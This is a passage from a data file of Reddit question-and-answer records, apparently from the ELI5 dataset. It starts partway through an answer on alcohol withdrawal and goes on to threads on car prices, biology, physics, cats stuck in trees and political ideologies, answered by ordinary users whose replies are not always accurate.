hypersensitive to activation signals. So they're hyperexcitable; stopping alcohol takes the brakes off them and they get activated super easily and fire off leading to the seizures seen early in severe alcohol withdrawal (delirium tremens) until those neurons get used to not being inhibited and return to normal levels of excitability.\n\n\nAgain, this is kinda simplified. GABA depresses function by majorly inhibiting neurotransmitters that *excite* neurons and promote signalling (stuff like noradrenaline, glutamate, and dopamine). It also blocks the NMDA receptor which is responsible for mediating the excitatory effects of glutamate. In response, your body increases the amount of NMDA receptors a neuron expresses, so it's more sensitive to glutamate and more likely to get excited (to combat the depressive GABA effects and get back to some degree of normal function while the person is still drinking). This is that hyperexcitable state I was talking about. Then the person stops drinking and suddenly you have a buttload of excitatory noradrenaline/glutamate release (because they're no longer inhibited by GABA) *and* you have neurons which are absolutely covered in receptors to bind and get activated by all that noradrenaline/glutamate. The result is neurons firing off rapidly and uncontrollably leading to seizures."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2xf7ml", "title": "why is it so hard to find the prices of luxury sport cars (ferrari/lamborghini etc.) online, while normal cars (ford/toyota etc.) have their prices clearly shown?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2xf7ml/eli5_why_is_it_so_hard_to_find_the_prices_of/", "answers": {"a_id": ["cozkyjs", "cozl1pv", "cozm35b", "cozm45l"], "score": [45, 21, 14, 4], "text": ["Because if you have to ask, you can't afford it.", "Such cars have prices which are highly negotiable based on additional work or customization. They aren't \"stock\" as much as typical cars.", "From [here](_URL_0_):\n\n >  2015 Lamborghini Huracan LP 610-4\n\n >  $237,250.00\n\nThat's a base price. The price can change a lot depending on the options you've selected. And it's worth remembering because these cars are so expensive their clientele consist of a small, exclusive group. Advertising their prices online isn't really going to help with their sales though, or increase the numbers of their customers. In a lot of ways the marketing techniques used with the (economically) lower and middle classes simply don't work with the upper class. To improve sales they develop a relationship with their potential customers, offer options for their vehicles based on the needs that their clients express to them, and make appearances (both with their representatives and their vehicles) at events that are more likely to have their clientele in the first place. This is, generally, how most expensive products of any kind are marketed.\n", "It's true that their customers really don't care. There's another factor though.\n\nIf the car is not preordered from the factory, and the dealership buys it wholesale, AND not too many will be made... The dealer will add tens or hundreds of thousands of dollars to the price as a 'fee'. Same as happen at Chevy dealers with a new Corvette, but for much more money. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.leftlanenews.com/new-car-buying/lamborghini/huracan-lp-610-4/prices/#"], []]}
{"q_id": "afowcn", "title": "Can you grow a plant just by the light from a wood fire?", "selftext": "Also, would there be a difference in growing a plant by a wood fire or a natural gas fire, given both flames were the same general brightness?\n\nIs it possible to grow food by that firelight? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/afowcn/can_you_grow_a_plant_just_by_the_light_from_a/", "answers": {"a_id": ["ee19tq7", "ee1c21i"], "score": [75, 4], "text": ["Photosynthesis requires at least blue and a little deep red (green is actually thrown back unused).\n\nFirelight is 1700K-2000k, very skewed towards red and infrared.  There is very little blue.  You might cook your plants with infrared heat before making enough blue at that color temp.", "Not very efficient I\u2019d imagine.  Fire produces an intolerable amount of heat for a plant.  Given the inverse-square law you could not get a fire close enough for the light to be very useful as Oznog99 said.  That said, even the light would probably be too cool to effectively grow a plant.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6xtj34", "title": "Why does the deficiency of some vitamins like b12 can cause depression?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6xtj34/why_does_the_deficiency_of_some_vitamins_like_b12/", "answers": {"a_id": ["dmiu0bd", "dmixjgl"], "score": [24, 6], "text": ["B12 has an important role in maintaining nerve function, like assisting formation of the myelination around neurons that help them transmit information quickly. To relate it directly to depression, my best guess is that the decrease in neurological function is dampening the transmission and reception of serotonin and dopamine in the brain. B12 also has a role in converting glucose into ATP, so a decrease in energy production will lead to an overall lack of energy (which is kind of a state of physical depression). ", "Ignoring some of the finer points behind what \"depression\" means, we don't know why it happens, so there won't be a definitive answer there. We can confidently say that B12 is needed to make many components of the central nervous system, including neurotransmitters, myelin, cell membrane components, and even DNA for new cells. Brains need B12 to function normally. A lack of B12 generally results in dysfunction of the central nervous system, including impaired sensation/motor function/memory, mood alteration, and eventually can even cause dementia. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1anx0z", "title": "Do we know where the Rubicon is/was?", "selftext": "I read a passing comment in a book that the location of the famed Rubicon had been lost to history. That seemed crazy to me. Is that true at all?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1anx0z/do_we_know_where_the_rubicon_iswas/", "answers": {"a_id": ["c8z4u9u"], "score": [7], "text": ["The location was indeed lost for many centuries because of the number of rivers between Ravenna and Rimini, but it has been identified again. It had been known for a while as Fiumicino, but after it was positively identified by some scholars a few years ago, it was renamed Rubicone. (I don't have a non Wiki source, but I was planning to go see the Rubicon last semester until I found out it's really small and dirty and unimpressive.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5cd8k5", "title": "people get parkinson disease due to loss of dopamine, since dopamine also controls the reward system of the brain, so does that mean that people with parkinson disease are usually sad and depressed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5cd8k5/eli5_people_get_parkinson_disease_due_to_loss_of/", "answers": {"a_id": ["d9vkwj7", "d9vl5ue", "d9vqb29", "d9vqlts"], "score": [17, 9, 3, 2], "text": [" >  People get Parkinson disease due to loss of Dopamine\n\nThat's not true. There's a *correlation* between the two, but we don't know it's the cause. It might be that whatever causes Parkinson's *also* causes the damage to dopamine receptors. \n\nAlso, depression is linked to serotonin and norepinephrine, not dopamine. If anything, there'd be a lack of *motivation*, not depression. ", "There are 3 main pathways for dopamine in the brain. The nigrostriatal path is responsible for movement and that's the part that is compromised most with Parkinson's. You also have the mesolimbic, which is the \"reward\" center pathway, and mesocortical, which is more involved with emotional modulation. People with Parkinson's have degeneration of the cells that manufacture dopamine, so all of these pathways can potentially be affected, but for some reason the movement is most compromised.", "The same pathways that create dopamine in the brain -- which are impacted in Parkinson's disease -- also create the hormonal neurotransmitter serotonin. Serotonin regulates mood, appetite and sleep. If dopamine is like the motor oil to keep the body's systems controlling movement running smoothly, then serotonin is like the motor oil for a person's mood. Researchers hypothesize that the effect of Parkinson's on this system is responsible for the clinical symptoms of depression and anxiety.\n\n[Source](_URL_0_)\n\nFor those living with Parkinson's, and family  &  friends, do stop over at /r/Parkinsons.   Sleep disorders and Depression are common long before a diagnosis of Parkinson's.", "Well interestingly enough there is a dopamine agonist called pramipexole which has been associated with compulsive gambling  and hypersexuality when taken by Parkinson's sufferers.     \n \nThe problem with drugs is you can't just say, only do your thing in this part of the brain where we need you. Although in the future, that may change.\n  \nIt is prescribed off label for depression as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.michaeljfox.org/understanding-parkinsons/living-with-pd/topic.php?emotions-depression"], []]}
{"q_id": "5nx92d", "title": "Why do baryons have a half life?", "selftext": "I noticed that the proton has a half life of 10^32 years. A neutron seems to have a half life of 10.3 minutes when not near a proton. Why is this? How can the quarks, which are bound together so strongly, decay that quickly?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5nx92d/why_do_baryons_have_a_half_life/", "answers": {"a_id": ["dceyait"], "score": [14], "text": ["As far as we know, protons are stable. Some theories predict proton decay but it's never been seen. All other baryons are unstable.\n\nThe neutron half-life is **extremely long** on strong force timescales (10^(-23) seconds). The lifetimes of other baryons are all much shorter than that of the neutron."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6s51jo", "title": "What is the brightest light on Earth?", "selftext": "Hello reddit, I just saw another space post by someone on the ISS. Some areas on earth at night are obviously brighter than others due to being clusters of lights in cities. I now wonder, what light on Earth is the most noticeable from space. It's almost like looking for the North star, except on Earth.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6s51jo/what_is_the_brightest_light_on_earth/", "answers": {"a_id": ["dla3vqw", "dlarka0", "dlb1if6", "dlby2d6"], "score": [28, 7, 7, 2], "text": ["Well, the north star is not particularly bright in the scheme of visible stars in the night sky. It ranks somewhere near 50th for brightness. \n\nBut for the question if the brightest \"light\" on Earth, it depends on your scale.  The brightest city is most likely LA. The brightest city section is reported to be the [Las Vegas strip](_URL_0_). But the brightest individual light? That goes to the [Luxor Sky Beam](_URL_1_) atop the iconic pyramid.     ", "I'm not sure exactly what kind of answer you're looking for, but if you define \"bright\" as the maximum photon flux through an observer's position in space, the brightest thing earth has would definitely be a laser. The trick with this is, unlike city lights, lasers are extremely directional, so you really have to know where to point the laser. But, if you know where/when someone will be looking toward earth and you want them to see a super bright light, use a laser! I'm not sure what the brightest lasers on earth are, but you could definitely blind someone on the ISS, and you could easily be seen many many lightyears away, assuming you know where the observer will be that many years in advance!", "As an aside, the North star isn't the brightest star in the night sky; Sirius is about 23 times brighter than Polaris (the North star).  In terms of apparent magnitude, Polaris is the 46th brightest star in the night sky in terms of apparent magnitude (47th star if you include the Sun; not that you'll be able to see all 46 at the same time from any one location on Earth).  The North star is interesting not because it is particularly bright, but because the Earth's North pole (rotation axis, not magnetic north) points very close to it.  Therefore knowing how to locate it (e.g., finding it on the the little dipper from the big dipper) helps you navigate at night in the Northern hemisphere on clear days.  \n\nAlso note, Polaris will not always true, the Earth's rotation axis [precesses over a period of 26,000 years (that is changes where it points)](_URL_0_), so in a few thousand years other stars will provide a better estimate of identifying the direction north.", "You might be looking for \"Synlight\" its been named The World's Largest Artificial Sun. Among other things, the facility is intended to develop production processes for solar fuels, including hydrogen.\n\nThis is there [website](_URL_0_). the Luxor uses 39 Xenon lamps while Synlight uses 149 Xenon lamps.\n\nEdit for adding number of lights.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://visibleearth.nasa.gov/view.php?id=47687", "https://en.m.wikipedia.org/wiki/Luxor_Las_Vegas#Luxor_Sky_Beam"], [], ["http://www.astro.cornell.edu/academics/courses/astro201/earth_precess.htm"], ["http://www.dlr.de/dlr/en/desktopdefault.aspx/tabid-10080/150_read-21807/#/gallery/26638"]]}
{"q_id": "1xqrcv", "title": "Do people who have grown up with a logographic language read in a different way than people who initially learned an alphabetical language?", "selftext": "For example, you may have seen [this](_URL_0_) neat trick that describes how we read and compute words. Can people who grew up with Chinese or Japanese innately read this as they learn English? Do their minds process the groups of symbols differently?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xqrcv/do_people_who_have_grown_up_with_a_logographic/", "answers": {"a_id": ["cfe1n1u"], "score": [2], "text": ["Can't answer the main question, but the scrambled letter bit is a bit misleading, a lot of the words are barely scrambled and longer words can be scrambled in other ways that make them very hard to guess right away like this. \n\nIs \"Cgmiadrbe\" as easy to read straight away as \"Cmabrigde\"? \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": ["http://imgur.com/i22Oo1x"], "answers_urls": [["http://www.positscience.com/brain-resources/brain-teasers/scrambled-text"]]}
{"q_id": "67d4fg", "title": "I fill the bottom of a bottle cap with my blood and let it dry overnight. Then I put the dried disc in a cup of water. the color leaves the disc and seeps into the water. I'm left with a translucent, slimy material. What is it?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/67d4fg/i_fill_the_bottom_of_a_bottle_cap_with_my_blood/", "answers": {"a_id": ["dgpko9a", "dgpyz01"], "score": [53, 16], "text": ["It's fibrin mesh, made from fibrinogen and the end result of the clotting cascade. It's a protein that polymerizes to form a hemostatic plug to stop bleeding and allow wound healing. ", "There seems to be a little confusion/questioning about what you're left with after the water step, fibrinogen or albumin so I looked up the blood contents\n\nConveniently there is this image at wikipedia, which is pretty fascinating:\n\n_URL_0_\n\nAll the way to the right you can see the things present in the grams per litre range\n\n    Albumin 40-50 g/L\n    Globulins 25-35 g/L\n    Fibrinogen 2-2.5 g/L\n    Transferin 2-3 g/L\n\nInterestingly these are all \"big\" things in that they are all proteins with fairly high molecular masses. Just about everything else in your blood ( <  1 g/L) is a small molecule. There are some exceptions (proteins with names ending in '-in') but they are vanishingly rare and not worth considering here.\n\nSo what happens with your mildly gruesome process/experiment? The blood in your bottle cap will undergo 2 processes that \"dry\" it off, some of the water will evaporate off and the prothrombin/thrombin will get on with coagulating your blood.\n\nThrombin converts the fibrinogen (soluble) in your blood to fibrin (insoluble). The fibrin can bond to itself and will form a loose sticky mesh. This mesh forms the main structural matrix of a blood clot or scab. Embedded in this meshed will be any large items in your blood; blood cells (red  &  white) and proteins.\n\nWhite blood cells and most proteins are pretty rare so the mesh will mostly contain red blood cells, albumin, globulin and transferrin.\n\nYour next step is to move the coagulated disc to water. It is not completely clear to me what happens at this step. Certainly all the haemoglobin (the red stuff) leeches out of the disc and back in to the water due to the osmotic gradient. There seems to me to be two processes this could happen.\n\nFirst, the fibrin mesh is sufficiently loose so the red blood cells just dissolve back to the water. Red blood cells are pretty big, if this is the case then you'd also expect all other trapped water soluble elements (proteins, small molecules) to also return to the water. This means your remaining slimy material is almost certainly just the remaining Fibrin mesh with nothing else\n\nAlternatively the water you've added may lyse (break open) the red blood cells, due to the osmotic pressure. In this case the haemoglobin will dissolve back in to the water but leave the detritus of the red blood cells trapped in the fribin matrix. Albumin and haemoglobulin are all around the same molecular weight (approx 60KDa), so if the haemoglobulin can dissolve back to the water then so can most of the other blood proteins. In this case the slimy material left is the fibrin mesh with the remains of the red blood cells trapped in it. Globulins can range up to 1000s of KDa so perhaps they might remain trapped in the mesh too.\n\nEdit: As pointed out below overnight drying may just rupture all the redblood cells. I don't know whether the fibrin network will trap enough water to prevent this. So perhaps the latter outcome is most likely"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://upload.wikimedia.org/wikipedia/commons/c/cb/Blood_values_sorted_by_mass_and_molar_concentration.png"]]}
{"q_id": "288b6o", "title": "Why is the tibia so close to the skin and not surrounded by muscle/fat like the other bones i.e femur, ulna, and radius?", "selftext": "Why do we have no protection for bumping our shins?? Haha", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/288b6o/why_is_the_tibia_so_close_to_the_skin_and_not/", "answers": {"a_id": ["ci8f8ds", "ci8p9ln", "ci8pve1", "ci8r1ri"], "score": [1079, 104, 6, 3], "text": ["Bones usually have 2 main fascial compartments around them. A flexor and extensor, and some have a medial compartment too. There is no real need for a strong dorsiflexion action in the lower leg (bending your foot upwards), the muscles are used mainly for stabilization and so there are no large muscle groups there. Compare that to the other side of the leg where a strong plantarflexion (pushing your foot donwards) action is needed for walking and you have the huge calf muscles.\n\nedit: mixed up extensor and flexor in the leg again", "Other answers address why there is less muscle mass on the anterior side of the leg, but don't answer the question of why the tibia is exposed.  I don't think k there is a really good answer... Probably coincidence as much as anything, but consider this:\n\nThe arm and leg are actually built very similarly, and the forearm has two bones (ulna  & amp; radius) just like the leg does (tibia  & amp; fibula).  The ulna is the arm-version of the tibia, and if you feel your own arm, you can trace the unprotected bone all the way from the elbow to the wrist just below the pinky finger.  In my opinion, the only difference between the ulna and tibia is that the tibia has to bear all your body weight, so it is a much larger bone, and thus your shin is a lot more prominent than your exposed ulna.\n\nTo answer your second question: why do we have no protection from bumping our shins?:\n\nThe tibia IS the protection.  Bone protects soft tissue from injury, ie. the skull protects the brain, sternum and ribs protect heart, vertebrae protect the spinal cord.\n\nEdit: I don't really think the point of the tibia is protection.  It is there to support the body and anchor muscles  &  ligaments.  Just saying that while many muscles 'cushion' bones from impact, that's not really their purpose, and you wouldn't grow a muscle on the front of your shin just to keep from bumping it.\n", "If comparing the amount of tissue on the anterior portion of the tibia, then any benefit of additional tissue to protect the shin from damage would be outweighed by the detriment of increasing mass in the legs resulting in decreased running speed, manoeuvrability, and endurance.\n\nIf comparing the position of the tibia relative to the centre of the leg (keeping the mass of tissue the same but changing the anterior-posterior location of the tibia), then having a more anteriorly located tibia would allow a greater lever action from the calf muscles to lift the body during [toe-off](_URL_0_) of the gait cycle.\n\nOverall the driving force to protect the shin would be outweighed by the driving force to run faster and for longer (think minor injuries when it is impacted which can heal vs. ability to outrun predator or prey). So evolution optimized for the most anteriorly positioned tibia that had just enough tissue on the anterior side to still allow sufficient enough blood flow.", "The muscles don't really serve as bone protectors. Muscles are for motility. This fact is demostrated by the many bones in your body that have no mucle between them and the skin. Skull, sternum, vertebrae etc. Even the back side of your ulna has nothing between it and the skin just like the tibia in the same respective area."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://mysite.verizon.net/tjacmc/SM/#GaitCycle"], []]}
{"q_id": "27zpbp", "title": "If we found plant-life on another planet, would that count as finding \"life\"? Would that be as exciting for the scientific community as finding bacteria for example?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/27zpbp/if_we_found_plantlife_on_another_planet_would/", "answers": {"a_id": ["ci5ygrh", "ci63cft"], "score": [3, 2], "text": ["Life of any form would be terrifically exciting.  The more complex the organism, the more striking it would be.", "I don't follow your logic. Plants are far more complex than bacteria, and therefore they would be far more exciting. Of course, as /u/fishify noted, any life would be unimaginably exciting."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2tzkax", "title": "why can't you just let a cat be stuck in a tree? would it die up there or would it eventually figure out how to get down?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2tzkax/eli5_why_cant_you_just_let_a_cat_be_stuck_in_a/", "answers": {"a_id": ["co3qfsp", "co3qrhe", "co3qvsj", "co3r0lu", "co3rx7k", "co3ry97", "co3sno5", "co3tlqa", "co3uauw", "co3ukhm", "co3vcrw", "co3w2yq", "co3wzxc", "co40gfr", "co42pcn", "co43nzm", "co447sm", "co457o4", "co46zce", "co47qj8", "co481j3", "co48bcr", "co4a2sd", "co4bxiy", "co4d2d6", "co4dyf6", "co4ext2", "co4fo9x", "co4gaou"], "score": [648, 122, 17, 95, 6, 101, 9, 8, 4, 3, 16, 70, 2, 28, 2, 18, 2, 3, 2, 2, 8, 2, 42, 3, 5, 7, 21, 9, 2], "text": ["It would eventually figure out how to get down.  Probably.", "Cats don't really get \"stuck\" in trees unless they get injured or hung up something. A cat on a branch that won't come down just doesn't feel like coming down and would like you to bugger off to let him do his own thing for a while.\n\nEdit: Well, ok, I guess I'm thinking of full grown, outdoor cats. Really young cats, or cats who have been indoors their entire lives, can get a little creeped out, actually. They get too high up and get scared. They'll figure it out eventually if you give them a chance, though.", "You can, and you can't. On the one hand, it will probably figure out how to get down again, and be fine, depending on how smart/old/agile it is. On the other hand, it might take a while which means it'll be crying in the tree for a while, which gets annoying at the very least. Depending on the weather, you may not be able to let said cat just figure things out. You also run the risk of it jumping or falling from too high of a height, which could lead to injury.\n\nMy recommendation is to stay with it for a bit, see if it can figure out how to come down - but if it's not making progress, if it's cold out, or if it looks like the cat wants to try jumping, etc, give the cat a hand. ", "Are tree cats actually a thing? I always thought that was some Lassie shit that never actually happened.\n\nMy cats used to climb to the top of 100ft tall trees and steal baby crows in spring, never once got stuck.", "Cats climb up trees.  Cats climb down trees.\n\nIt's normally not an issue.\n\nThe issue comes when the people that own the cats don't understand what cats can do  &  start to panic.\n\nIt's mostly just [a stupid thing from TV  &  movies](_URL_0_).", "Because they're loud as shit when they're wailing in the tree.\n\nBut when they're hungry and desperate, providing they haven't been eaten by a large bird, they will get down on their own, potentially hurting themselves but probably not.  Depends on how fat they were allowed to get.", "Cats are invincible they rarely die from falling any heights, you could probably throw one out  of an airplane and it would be ok..  well maybe shit scared and frozen half to death but their terminal velocity isnt that fast when they go into wing suit shape.. \n\n[Cat falling from 26 stories](_URL_0_)\n[Can you throw a cat from a plane?](_URL_1_)\n", "Is this a U.S. culture thing? I swear, I've never seen a cat stuck in a tree in my life, or anyone trying to coax one down for that matter.", "Because some people want their pets back right meow and don't want to leave them to be mangled by rabid raccoons and foxes because even though they have natural instincts to gtfo of there meow and up a tree, raccoons can climb trees too and have not opposable, but more opposable thumbs than cats do meowadays. ", "One of my outside cats liked to climb trees. He was only about 6 months old. He went up about 40-50ft and whined till dark then came down. ", "Friend of ours had a stray cat stuck in a 50'+ pine tree in her yard. Up there for weeks. She figured it had to be coming down for water/food at night, because it had been up there for nearly a month. That is, until a gust of wind blew it out, and she saw that it had dehydrated/starved up there. Poor thing was just a skeleton with skin and fur.", "Cats claw their way upwards.  They don't seem to think about reversing so when attempting to get down from the tree they approach going down head first, realise their claws won't grip, and get stuck.\n\nCats don't get how gravity affects their claws.  Mine fell down a tree and broke it's leg trying to learn.", "You can leave the cat up there. It'll come down when it feels like it.", "My childhood cat got stuck in a tree for a few days.  She meowed so much it screwed up her vocal chords and she lost the ability to meow for the rest of her life.  After like 3 days we had a guy we knew who cut down trees climb up and get her.  Everyone told us she would just climb down herself but it looked like she would have died of dehydration first.", "Cats up trees usually figure a way to come down. Cats on the top of poles, though, are grabbed by predatory birds, which is why one rarely sees cat skeletons atop poles.", "I work for the Fire Dept. and we got these calls pretty often, it's always fun to hear their reaction when you ask them if they've ever seen a cat skeleton stuck on a tree branch. ", "It varies.  most adult cats will usually find their way down.  kittens may really need help as well as house cats that have little experience climbing trees.  It also occasionally the case that a cat gets physically stuck.", "Survival of the fittest cat. Whenever my dumbass cat has been stupid enough to get stuck in a tree I leave her up there to find her own way down. I'm not going to go get a ladder to save that dumb little twat, she got up there she can get down. ", "Some cats like to Ocelot can turn their paws around 180 degrees so they can grip the tree as they climb downward. House cats do not have this ability. Almost all animals have a very strong desire to do everything moving head first. That is why a cat doesn't climb down the same way they climbed up. My best guess is that when the cat gets thirsty enough it will try and jump down. Might be successful, might not.", "  The saying is one never sees cat skeletons in trees so they will eventually risk coming down on their own, still it reminds me of an event that did amaze me.\n\n Near 30 years ago, I rented a 2nd floor apartment with a large tree outside the window. Came home from work, it was starting to rain and I heard a cat crying in the tree. I climbed it a short distance but the silly cat then climbed higher The rain was getting worse so I said 'FU, cat' and went upstairs. A friend cane by with some good weed so we got stoned and watched the lightning. It turned into a pretty nasty storm, waves of rain. and the cat was howling in full view from the window- but beyond reach.\n\n Perhaps God lent a hand, hard to say, but a bolt NAILED that tree. It was now dark out but in that flash I saw the cat blown clear. As my friend hollered 'Praise the Lord' (the thunder was deafening/ rocked the house) I witnessed it tumbling through the air. Cat was nowhere to be found, so it apparently survived.", "So we had some stupid cat get stuck in a big pine tree we have in the back yard. Probably climbed the tree to get away from our two dogs. On the first day, we figured we'd leave it overnight and it would find a way down. By the end of the second day it hadn't moved and was up there crying.\n\nEventually, I was able to use a tennis ball tied to a string to run a line over a branch above the cat. Had to use a tennis racquet to hit the ball high enough because the stupid cat was like 30 feet up. I then tied a basket onto the line with a can of tuna in there. Once I got it close enough, the smell of the tuna must have really worked 'cause the cat jumped right into the basket and I lowered it down to safety.\n\nSo, to answer the question, I think they can get stuck in trees. Especially with dogs patrolling the bottom of said tree.", "Why can't you just get a hose?", "We had a cat that treed itself for more than 4 weeks in January and February in NY.  It was too stupid to climb down, and every time we tried to put a ladder up to get it down it got scared and climbed higher.  It went through snow and ice storms and still stayed in the tree.  Every time we called a vet to see what we should do they said, \"don't worry, it'll come down.  Try luring it down with food\".  So my mom hung cans of tuna in the tree and grilled steak under the tree for the whole month, but she wouldn't come down.  She was about 40 feet up by the end of it in a very thin tree.  Because of the location on the property we couldn't get a cherry picker up there either, so after more than a month we cut the tree down.  As we were lowering it, the fucker jumped out of the tree still 30 feet off the ground and ran away for 2 days.  When she finally came home she was just skin and bones and was never the same again.", "Because you wouldn't get this awesomeness!\n\n\n_URL_0_\n", "This past summer, our cat went missing. He'd been gone overnight before, so we weren't worried.  After two days we put up signs and started to get calls about a lot of cats that weren't ours. After five days we started to give up hope. By chance, a guy outside of our neighborhood did see a sign after a week. Our cat had been stuck in his tree for 6 days.  It was up about 40 feet.  We ended finding a local guy who is a (professional?) tree climber.  He went up and after 30 minutes, was able to grab him, stuff him in our provided pillow case and lower him down by rope.  Here's a photo that the guy took right before he got him: _URL_0_\n\nI'm not sure he was every going to come down.  It was in the 90s that week and he had gone 6 days without water except for one night of rain. ", "I had a cat be stuck in a huge, huge tree for about four days when I was a kid of around 7. My dad told me not to worry because \"You don't find cat skeletons in trees\" and I said, \"That's because the wind knocks them down\". To this day I am still pretty sure my theory works over his.", "Cat's claws are curved in such a way that they work for climbing up but not for going down, so they basically have no traction going down. If they're not too high up, they'll just jump down, but if they're very high up, they may be facing a dead-if-you-do, dead-if-you-don't situation.\n\nWhen I was a teen, a neighbor's cat got stuck about 100 feet up a very tall tree. The next day, the fire department showed up and got it down. A few months later, it happened again. Each day when I went outside, I heard the cat meowing for help. On the third day, I asked, and they said the fire department refused to come again.\n\nI went home, put on some tight gloves and a jacket. I got a belt and tied it around the bottom of the jacket. I carefully climbed the tree. When I got to the level of the cat, he immediately came over to me and clung to me. I put him in my jacket and zipped it up. He was very calm, seemingly relieved.\n\nThe little boy who lived there had come out to watch. When I got down, I handed him the cat. From that day forward, every time he saw me, he would say, \"You saved my cat!\" or something similar. I never imagined it would mean so much to him, nor the way it would make me feel every time he said that. I just wanted to help the cat.", "Wow, not a single inside-cat owner explaining this?  \n\nBasically, once your inside cat makes it outdoors, you're slightly terrified that you'll lose them permanently.  Cats don't always return home like dogs tend to do - you have a spooked inside-only kitty outside and you may well never see it again.\n\nIf they spook and run up a tree, well... the issue is in trying to get them down NOW so you can control the recapture, or at least continue following it until it calms and can be retrieved to the house.  \n\nYou certainly could leave it to get bored/tired/hungry and figure out how to make it down, but then you're effectively abandoning your cat.  Odds of ever seeing it again go way down.  \n\nThis whole concept only really applies to indoor cats that are pretty unfamiliar with outside/trees.  Outdoor or hybrid in/out cats are pretty comfortable in an arboreal state.", "Cats can survive falling at their terminal velocity (the highest speed they will reach when falling), this is why they can and do jump out of many story buildings and survive.  \n\nThough like anyone else jumping from heights it's not really a smart move as there are a lot of ways they can seriously injure themselves.  \n\nCats will usually get desperate and jump if they have to.  But they do the distressed wailing first because they know you'll try and help them and it's usually much easier to help than to pay vet bills for broken bones.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://tvtropes.org/pmwiki/pmwiki.php/Main/CatUpATree"], [], ["https://www.youtube.com/watch?v=7hZizGTbQBs", "https://www.youtube.com/watch?v=VlfdaEU7tDw"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.liveleak.com/view?i=599_1413394588"], ["https://twitter.com/drainhook/status/492856208127447040"], [], [], [], []]}
{"q_id": "1s5hbd", "title": "Are political ideologies a product of their time?", "selftext": "Its sometimes heard that the First World War would have happened regardless of whether the Archduke was shot or not because the structural factors leading up to it were already present. Applying that logic to political ideologies, would ideologies such as communism or fascism have appeared regardless whether there was a Marx or Mussolini? \n\nWhich is to say, can it be argued that a militant left-wing ideology like communism would have appeared eventually due to for example, the developments of the Industrial revolution? How much can the development of ideologies be attributed to be the personal agency of thinkers or were these ideologies simply the product of their time?\n\n ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1s5hbd/are_political_ideologies_a_product_of_their_time/", "answers": {"a_id": ["cdu4igc"], "score": [2], "text": ["This is really dependent on which ideology you're talking about. I am by no means an expert, but from the little I know, there are ideologies that are based on true philosophies of human behaviour, and those based on their own times.\n\nFascism is widely regarded a \"synthetic ideology\", especially Naziism. This is due to the lack of basis in political philosophy, ideological basis being pretty darn necessary for a political ideology. It's central figure of a dictator being all but worshipped also gives each regime a certain lifespan, and the longevity of fascism was not to be, with Franco's Spain, Mussolini's Italy and Hitler's Germany each lasting less then 3 decades. \n\nCommunism was conceived by Engles and Marx, and was political theory, Marxism a descriptor of communist ideology. With a basis in social political theory, the state of nature was observed as a primitive communism, the basis for the theories of Marxism are displayed therein. The lack of a communist state for another hundred years after Marxs drafting of his principles, as well as Plato's prior descriptions of communism in Ancient Greece display the historical and ideological basis of communism. The theory was adopted through Leninist Bolshevik revolution 1917 in Russia, the first attempt at \"overthrowing capitalism\", implementing the ideology.\n\nSo yes and no- some political ideologies have ethical and moral basis, the communistic appeal to equality and a common humanity which does not enforce hierarchical structures (hence the utopia ideal) however others are not so well based; Mussolini is said to have opportunistically founded the political system, it's militarism dictatorship being widely recognised as a product of the times.\n\nIf anything seems incorrect feel free to say, I am not an expert on this topic.\n\nI should also mention that communism's decline after the complete dissolution of the Soviet Union in 1993 does not influence it's continual support as an ideology in states such as PRC (though their system is neither Marxist nor Maoist since 1979 economic reforms) perpetuate the prevalence of communism, regardless of its failure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
